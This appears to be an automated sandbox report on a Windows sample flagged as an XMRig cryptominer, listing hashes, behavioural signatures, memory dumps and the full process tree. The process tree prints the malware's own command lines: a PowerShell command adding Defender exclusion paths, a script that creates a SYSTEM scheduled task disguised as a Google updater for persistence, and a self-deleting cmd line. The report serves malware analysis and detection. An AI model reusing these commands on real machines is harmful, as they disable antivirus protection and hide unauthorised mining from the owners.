xmrig | cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

Resubmissions

04/04/2023, 20:34

230404-zcjzyabg6x 10

02/04/2023, 00:00

230402-aagz5ade69 1

31/03/2023, 23:20

230331-3brvyaff6w 10

31/03/2023, 22:39

230331-2k417aea63 10

Analysis

max time kernel
1800s
max time network
1798s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
04/04/2023, 20:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

qM5GMXBk6hJE6Y5e.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2020 created 1244	2020	qM5GMXBk6hJE6Y5e.exe	20
PID 2020 created 1244	2020	qM5GMXBk6hJE6Y5e.exe	20
PID 2020 created 1244	2020	qM5GMXBk6hJE6Y5e.exe	20
PID 2020 created 1244	2020	qM5GMXBk6hJE6Y5e.exe	20
PID 1656 created 1244	1656	updater.exe	20
PID 1656 created 1244	1656	updater.exe	20
PID 1656 created 1244	1656	updater.exe	20
PID 1656 created 1244	1656	updater.exe	20
PID 1580 created 1244	1580	conhost.exe	20
PID 1656 created 1244	1656	updater.exe	20

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral1/memory/1940-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-147-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-149-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-151-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-153-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-155-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-157-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-159-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-161-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-163-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1940-165-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
1320	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1656	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
836	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1940-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-147-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-149-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-151-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-153-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-155-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-157-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-159-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-161-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-163-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1940-165-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1656 set thread context of 1580	1656	updater.exe	46
PID 1656 set thread context of 1940	1656	updater.exe	53

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
340	schtasks.exe
1976	schtasks.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0a707b34567d901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2020	qM5GMXBk6hJE6Y5e.exe
2020	qM5GMXBk6hJE6Y5e.exe
1980	powershell.exe
2020	qM5GMXBk6hJE6Y5e.exe
2020	qM5GMXBk6hJE6Y5e.exe
1844	powershell.exe
2020	qM5GMXBk6hJE6Y5e.exe
2020	qM5GMXBk6hJE6Y5e.exe
2020	qM5GMXBk6hJE6Y5e.exe
2020	qM5GMXBk6hJE6Y5e.exe
1632	powershell.exe
1656	updater.exe
1656	updater.exe
1624	powershell.exe
1656	updater.exe
1656	updater.exe
1736	powershell.exe
1656	updater.exe
1656	updater.exe
1656	updater.exe
1656	updater.exe
1580	conhost.exe
1580	conhost.exe
1656	updater.exe
1656	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
460	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeDebugPrivilege	1844	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	1624	powershell.exe
Token: SeDebugPrivilege	1736	powershell.exe
Token: SeDebugPrivilege	1656	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1552	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1552	WMIC.exe
Token: SeSecurityPrivilege	1552	WMIC.exe
Token: SeTakeOwnershipPrivilege	1552	WMIC.exe
Token: SeLoadDriverPrivilege	1552	WMIC.exe
Token: SeSystemtimePrivilege	1552	WMIC.exe
Token: SeBackupPrivilege	1552	WMIC.exe
Token: SeRestorePrivilege	1552	WMIC.exe
Token: SeShutdownPrivilege	1552	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1552	WMIC.exe
Token: SeUndockPrivilege	1552	WMIC.exe
Token: SeManageVolumePrivilege	1552	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1552	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1552	WMIC.exe
Token: SeSecurityPrivilege	1552	WMIC.exe
Token: SeTakeOwnershipPrivilege	1552	WMIC.exe
Token: SeLoadDriverPrivilege	1552	WMIC.exe
Token: SeSystemtimePrivilege	1552	WMIC.exe
Token: SeBackupPrivilege	1552	WMIC.exe
Token: SeRestorePrivilege	1552	WMIC.exe
Token: SeShutdownPrivilege	1552	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1552	WMIC.exe
Token: SeUndockPrivilege	1552	WMIC.exe
Token: SeManageVolumePrivilege	1552	WMIC.exe
Token: SeLockMemoryPrivilege	1940	conhost.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 1844 wrote to memory of 340	1844	powershell.exe	32
PID 1844 wrote to memory of 340	1844	powershell.exe	32
PID 1844 wrote to memory of 340	1844	powershell.exe	32
PID 1320 wrote to memory of 832	1320	cmd.exe	37
PID 1320 wrote to memory of 832	1320	cmd.exe	37
PID 1320 wrote to memory of 832	1320	cmd.exe	37
PID 1632 wrote to memory of 1068	1632	powershell.exe	38
PID 1632 wrote to memory of 1068	1632	powershell.exe	38
PID 1632 wrote to memory of 1068	1632	powershell.exe	38
PID 836 wrote to memory of 1656	836	taskeng.exe	40
PID 836 wrote to memory of 1656	836	taskeng.exe	40
PID 836 wrote to memory of 1656	836	taskeng.exe	40
PID 1736 wrote to memory of 1976	1736	powershell.exe	45
PID 1736 wrote to memory of 1976	1736	powershell.exe	45
PID 1736 wrote to memory of 1976	1736	powershell.exe	45
PID 1656 wrote to memory of 1580	1656	updater.exe	46
PID 1656 wrote to memory of 1940	1656	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1244
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1068
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1320
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1976
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1580
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  PID:1160
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1552
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1572
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1940

C:\Windows\system32\taskeng.exe
taskeng.exe {5AF0BFEE-F99D-4F56-BE3C-8AF040452AE2} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:836
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1656

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
255b811575760d990ad64b966edf2ded

SHA1
e529860cd2c904e31ba534a26b25a69bda30e1bb

SHA256
288e63249acad3c9bbc26e3de069e67e378d84a96fd02b6e585176051aae6943

SHA512
bb7eb35aea029d191d2b4a0213dcb8e1e64569e05b396e25834ba829cd0d8be02757d64e6208630cdd9fd32e5633fd68e85a44418e7d158a7051c06b08553952

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
255b811575760d990ad64b966edf2ded

SHA1
e529860cd2c904e31ba534a26b25a69bda30e1bb

SHA256
288e63249acad3c9bbc26e3de069e67e378d84a96fd02b6e585176051aae6943

SHA512
bb7eb35aea029d191d2b4a0213dcb8e1e64569e05b396e25834ba829cd0d8be02757d64e6208630cdd9fd32e5633fd68e85a44418e7d158a7051c06b08553952

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6HI0N1H5RQGAPMZKZ448.temp

Filesize
7KB

MD5
255b811575760d990ad64b966edf2ded

SHA1
e529860cd2c904e31ba534a26b25a69bda30e1bb

SHA256
288e63249acad3c9bbc26e3de069e67e378d84a96fd02b6e585176051aae6943

SHA512
bb7eb35aea029d191d2b4a0213dcb8e1e64569e05b396e25834ba829cd0d8be02757d64e6208630cdd9fd32e5633fd68e85a44418e7d158a7051c06b08553952

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/1580-108-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1580-103-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1624-91-0x0000000001004000-0x0000000001007000-memory.dmp

Filesize
12KB

Download
memory/1624-92-0x000000000100B000-0x0000000001042000-memory.dmp

Filesize
220KB

Download
memory/1632-83-0x0000000002240000-0x00000000022C0000-memory.dmp

Filesize
512KB

Download
memory/1632-84-0x0000000002240000-0x00000000022C0000-memory.dmp

Filesize
512KB

Download
memory/1632-82-0x0000000002240000-0x00000000022C0000-memory.dmp

Filesize
512KB

Download
memory/1632-85-0x000000000224B000-0x0000000002282000-memory.dmp

Filesize
220KB

Download
memory/1656-98-0x000000013F770000-0x000000013F981000-memory.dmp

Filesize
2.1MB

Download
memory/1656-100-0x000000013F770000-0x000000013F981000-memory.dmp

Filesize
2.1MB

Download
memory/1656-89-0x000000013F770000-0x000000013F981000-memory.dmp

Filesize
2.1MB

Download
memory/1736-93-0x0000000000EF0000-0x0000000000F70000-memory.dmp

Filesize
512KB

Download
memory/1736-94-0x0000000000EF0000-0x0000000000F70000-memory.dmp

Filesize
512KB

Download
memory/1844-73-0x00000000026E0000-0x0000000002760000-memory.dmp

Filesize
512KB

Download
memory/1844-72-0x00000000026E0000-0x0000000002760000-memory.dmp

Filesize
512KB

Download
memory/1844-71-0x00000000026E0000-0x0000000002760000-memory.dmp

Filesize
512KB

Download
memory/1844-70-0x0000000002330000-0x0000000002338000-memory.dmp

Filesize
32KB

Download
memory/1844-68-0x00000000026E0000-0x0000000002760000-memory.dmp

Filesize
512KB

Download
memory/1844-69-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

Filesize
2.9MB

Download
memory/1940-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-165-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-163-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-101-0x00000000001F0000-0x0000000000210000-memory.dmp

Filesize
128KB

Download
memory/1940-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-161-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-159-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-157-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-110-0x0000000000C10000-0x0000000000C30000-memory.dmp

Filesize
128KB

Download
memory/1940-109-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/1940-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-115-0x0000000000C10000-0x0000000000C30000-memory.dmp

Filesize
128KB

Download
memory/1940-114-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/1940-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-155-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-143-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-145-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-147-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-149-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1940-151-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
